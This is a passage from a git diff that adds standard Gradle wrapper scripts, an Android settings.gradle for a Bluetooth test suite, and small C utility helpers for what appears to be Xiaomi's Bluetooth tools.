but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/tools/test_suite/android/gradlew.bat b/tools/test_suite/android/gradlew.bat new file mode 100755 index 0000000000000000000000000000000000000000..d7510e3397eb61fa926d99ce91148190f9cb3bdc --- /dev/null +++ b/tools/test_suite/android/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright (C) 2024 Xiaomi Corporation. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/tools/test_suite/android/settings.gradle b/tools/test_suite/android/settings.gradle new file mode 100755 index 0000000000000000000000000000000000000000..31f7353074b7dc2a7a40a235b053ea349b816427 --- /dev/null +++ b/tools/test_suite/android/settings.gradle @@ -0,0 +1,19 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + maven { url 'https://jitpack.io' } + } +} +dependencyResolutionManagement { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + maven { url 'https://jitpack.io' } + } +} +rootProject.name = "Bluetooth Test Suite" +include ':app' +include ':core' \ No newline at end of file diff --git a/tools/utils.c b/tools/utils.c new file mode 100644 index 0000000000000000000000000000000000000000..f836ab239c06dd5fdf41a831ae24b4cc7b64211c --- /dev/null +++ b/tools/utils.c @@ -0,0 +1,64 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "utils.h" +#include "bt_tools.h" + +bool phy_is_vaild(uint8_t phy) +{ + if (phy != BT_LE_1M_PHY && phy != BT_LE_2M_PHY && phy != BT_LE_CODED_PHY) + return false; + + return true; +} + +int le_addr_type(const char* str, ble_addr_type_t* type) +{ + *type = BT_LE_ADDR_TYPE_UNKNOWN; + + if (!strncasecmp(str, "public_id", strlen("public_id"))) + *type = BT_LE_ADDR_TYPE_PUBLIC_ID; + else if (!strncasecmp(str, "random_id", strlen("random_id"))) + *type = BT_LE_ADDR_TYPE_RANDOM_ID; + else if (!strncasecmp(str, "public", strlen("public"))) + *type = BT_LE_ADDR_TYPE_PUBLIC; + else if (!strncasecmp(str, "random", strlen("random"))) + *type = BT_LE_ADDR_TYPE_RANDOM; + else if (!strncasecmp(str, "anonymous", strlen("anonymous"))) + *type = BT_LE_ADDR_TYPE_ANONYMOUS; + else + return CMD_INVALID_PARAM; + + return CMD_OK; +} + +bool bttool_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +uint32_t get_timestamp_msec(void) +{ + struct timespec ts; + + clock_gettime(CLOCK_BOOTTIME, &ts); + + return (uint32_t)((ts.tv_sec * 1000L) + (ts.tv_nsec / 1000000)); +} \ No newline at end of file diff --git a/tools/utils.h b/tools/utils.h new file mode 100644 index 0000000000000000000000000000000000000000..e12424f03e08094f29ebd2fe97df8c81705b5f43 --- /dev/null +++ b/tools/utils.h @@ -0,0 +1,25 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" + +bool phy_is_vaild(uint8_t phy); +int le_addr_type(const char* str, ble_addr_type_t* type); +bool bttool_allocator(void** data, uint32_t size); +uint32_t get_timestamp_msec(void); \ No newline at end of file